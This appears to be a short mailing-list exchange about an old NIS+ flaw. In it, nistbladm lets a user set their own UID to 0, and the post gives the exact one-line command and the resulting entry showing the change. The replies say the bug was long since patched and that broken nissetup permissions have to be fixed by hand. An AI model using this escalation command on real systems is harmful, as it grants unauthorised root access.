Ever tried to change your NIS+ password with
the "nistbladm" command ? Works fine, but you
can also change your UID ....

$ nistbladm -e uid=0 '[name=alice]',passwd.org_dir

$ niscat passwd.org_dir | grep alice
alice:xedvtAgfruijg:0:1001:........



Where have you been?  This bug was reported and fixed a long time
ago.  Patches were released about a year ago.


Installing the patch in itself isn't enough, of course, once you've
runa broken nissetup you've got broken permissions you'll need to fix by
hand.
